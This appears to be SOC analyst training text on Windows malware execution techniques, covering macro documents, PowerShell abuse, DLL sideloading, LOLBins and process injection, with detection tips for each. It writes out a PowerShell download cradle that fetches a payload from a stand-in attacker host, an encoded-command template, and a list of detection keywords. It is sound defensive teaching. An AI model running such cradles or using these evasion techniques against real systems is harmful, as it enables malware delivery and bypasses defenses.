The execution challenge: modern OSes and security tools create multiple barriers — UAC prompts, application whitelisting, Microsoft's macro block, AV / EDR scanning on write and execution, SmartScreen warnings. Attackers develop execution techniques specifically to bypass these.
Macro-Enabled Documents — a doc with embedded VBA macro code that runs automatically on open (Auto_Open, Document_Open); macro code typically downloads / executes the next-stage payload or drops an embedded payload to disk. Common behaviors: calling PowerShell / cmd to download a payload, writing an embedded executable to %TEMP% and executing it, using WMI to spawn a process (avoiding a direct Office child process), decoding obfuscated strings at runtime. Current state (post-2022): Microsoft now blocks macros by default in internet-sourced files (Mark of the Web); attackers adapted via ISO / IMG containers (strip MOTW), OneNote files, or socially engineering users to manually remove the block; macro-based attacks have declined but are not extinct, especially against orgs with older Office or permissive policies. SOC relevance: classic alert pattern is WINWORD.EXE => cmd.exe => powershell.exe => payload; check your macro policy — if macros are fully blocked, macro alerts may indicate policy bypass or legacy systems.
PowerShell-Based Execution — why attackers love it: pre-installed on every modern Windows system, full access to .NET / Windows APIs, can download / execute / interact with the OS all from one command, easy to obfuscate (encoding, string concatenation, Invoke-Expression). Common malicious patterns:
- Download cradle —
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1').
- Encoded command —
powershell.exe -EncodedCommand <S0meBASE64EncodedString==>.
SOC relevance: one of the most abused legitimate tools; key log sources are PowerShell Script Block Logging (Event ID 4104), Module Logging, and Transcription Logging (ensure these are enabled); look for -EncodedCommand, -ExecutionPolicy Bypass, -WindowStyle Hidden, IEX, DownloadString, DownloadFile, Invoke-Expression; context matters — not all PowerShell usage is malicious.
DLL Sideloading — the attacker identifies a legitimate trusted application that loads a specific DLL, places a malicious DLL with the expected filename in the same directory; when the app runs, Windows loads the attacker's DLL instead of (or before) the legitimate one; the malicious DLL executes under the trusted app's context. Effective because the code runs under a trusted app's name / signature, security tools may whitelist the app while its DLL runs unchecked, it bypasses application whitelisting, and the trusted app still functions normally. Common sideloading targets: signed apps from major vendors that load DLLs from their working directory, portable apps copied to writable locations, and legitimate software bundled with the malware (attacker ships both the trusted .exe and the malicious .dll together). SOC relevance: look for legitimate executables running from unusual locations, trusted apps loading DLLs from non-standard paths, and sideloading-vulnerable applications flagged by threat intel; EDR DLL-load telemetry is your best detection source.
Living Off the Land Binaries (LOLBins):
| LOLBin | Legitimate purpose | Abuse case |
|---|
powershell.exe | Scripting and automation | Download cradles, in-memory execution |
cmd.exe | Command shell | Script execution, chaining commands |
mshta.exe | Execute HTML applications | Execute remote .hta files with embedded scripts |
certutil.exe | Certificate management | Download files, Base64 decode payloads |
rundll32.exe | Run DLL functions | Execute malicious DLLs or scripts |
wmic.exe | WMI command line | Process creation, reconnaissance |
bitsadmin.exe | Background file transfers | Download payloads via BITS jobs |
Effective because these are signed Microsoft binaries (inherently trusted), expected to be present / running, blocking them outright would break legitimate functionality, and they enable fileless / near-fileless attack chains. SOC relevance: one of the most common techniques you'll encounter; detection depends on context, not the binary itself (certutil.exe downloading a file is suspicious; certutil.exe managing certificates is normal); focus on unexpected parent-child relationships, unusual command-line arguments, and network connections from tools that shouldn't communicate externally; reference: lolbas-project.github.io.
Process Injection — why attackers use it: malicious activity appears to come from a trusted process (explorer.exe, svchost.exe), evades process-based detection rules and application whitelisting, inherits the target process's permissions and network access, leaves no malicious executable on disk (code lives only in memory).
| Technique | How it works | What to look for |
|---|
| Classic DLL Injection | Forces a target process to load a malicious DLL | Unexpected DLL loads in trusted processes |
| Process Hollowing | Creates a legitimate process suspended, replaces its memory with malicious code, then resumes | Process with a legitimate name but unexpected behavior / network connections |
| Reflective DLL Injection | Loads a DLL entirely from memory without touching disk | No corresponding DLL file on disk for the loaded module |
| APC Injection | Queues malicious code via Asynchronous Procedure Calls | Unusual thread-creation patterns |
| Thread Hijacking | Suspends an existing thread, redirects execution to malicious code, resumes | Suspended / resumed threads in stable processes |
SOC relevance: you won't typically reverse-engineer injection techniques (that's for malware analysts / IR); recognize trusted processes behaving abnormally (unexpected network connections, sensitive-file access, unusual child processes, abnormal resource use); EDR is your primary detection tool here; treat any process-injection alert as high severity — it indicates an active, sophisticated attacker.